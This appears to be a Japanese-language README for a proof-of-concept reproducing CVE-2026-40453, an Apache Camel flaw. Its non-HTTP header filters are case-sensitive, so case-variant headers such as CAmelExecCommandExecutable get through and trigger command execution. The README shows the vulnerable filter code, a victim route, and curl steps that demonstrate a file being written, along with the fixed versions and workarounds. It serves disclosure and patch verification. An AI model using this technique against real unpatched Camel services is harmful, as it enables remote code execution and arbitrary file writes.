
Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)
このプロジェクトは CVE-2026-40453 を実証します。これは CVE-2025-27636 の不完全な修正です。2025年の修正では HttpHeaderFilterStrategy に setLowerCase(true) が追加され、大文字小文字バリアントのヘッダー名(例: CAmelExecCommandExecutable)が正規の CamelExecCommandExecutable と同様にフィルタリングされるようになりました。しかし、同じ呼び出しは5つの非 HTTP HeaderFilterStrategy 実装(camel-jms、camel-sjms、camel-coap、camel-google-pubsub)には適用されず、これらの実装は大文字小文字を区別してフィルタリングする一方、Camel Exchange はヘッダーを大文字小文字を区別しないマップに保存します。そのため、攻撃者は大文字小文字を変えた Camel* 制御ヘッダーを注入してフィルターを迂回しつつ、下流のコンポーネント(camel-exec や camel-file など)に正規名で解決させることができます → リモートコード実行 / 任意のファイル書き込み。
この再現コードは、camel-coap を使ったバイパスを実証します(自己完結型で、外部ブローカーは不要)。同じ欠陥は JMS/SJMS/Google-Pubsub ストラテジにも影響します。
アドバイザリ: https://camel.apache.org/security/CVE-2026-40453.html
CoAPHeaderFilterStrategy(影響を受けるバージョン)は Camel* を大文字小文字を区別してフィルタリングします:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
CoAP リクエストが到着すると、CamelCoapResource.handleRequest() は、strategy.applyFilterToExternalHeaders(name, value, exchange) によるフィルタリングを経て、各 URI クエリパラメータを Exchange In ヘッダーにマッピングします:
CamelExecCommandExecutable — startsWith("Camel") は true → フィルタリングで除去されます。CAmelExecCommandExecutable — startsWith("Camel") は false (CAm ≠ Cam) → フィルタリングされません。Exchange のヘッダーマップは大文字小文字を区別しないため、後で exec プロデューサーが大文字小文字バリアントのヘッダーを正規名 CamelExecCommandExecutable として解決し、コマンドを上書きします。
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
4.14.6 / 4.18.2 / 4.20.0 にアップグレードしてください。修正 (CAMEL-23313) は、5つの非 HTTP HeaderFilterStrategy 実装に setLowerCase(true) を追加し、大文字小文字バリアントの Camel* 名もフィルタリングされるようにします。
アップグレードするまでの間:
setLowerCase(true) を使用したカスタム HeaderFilterStrategy、または大文字小文字を区別しないパターンの removeHeaders を使用します。CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
この再現コードは、公開済みで修正済みの脆弱性を対象とした、セキュリティ研究および許可されたテスト専用のものです。明示的な許可なくシステムに対して使用しないでください。
| 項目 | 値 |
|---|
| コンポーネント | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (この PoC は camel-coap を使用) |
| 影響を受けるクラス | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| 根本原因 | 大文字小文字を区別する startsWith("Camel"/"camel") フィルタリング(setLowerCase(true) の欠落)と、大文字小文字を区別しない Exchange ヘッダーマップの不一致 |
| CWE | CWE-20 (不適切な入力検証) — メッセージヘッダーインジェクション |
| 影響 | RCE / ヘッダー駆動型プロデューサーによる任意のファイル書き込み |
| 影響を受けるバージョン | 3.0.0 以上 4.14.6 未満、4.15.0 以上 4.18.2 未満、4.19.0 以上 4.20.0 未満 |
| 修正済みバージョン | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (CVE-2025-27636 の修正を完了) |
| 報告者 | Saroj Khadka |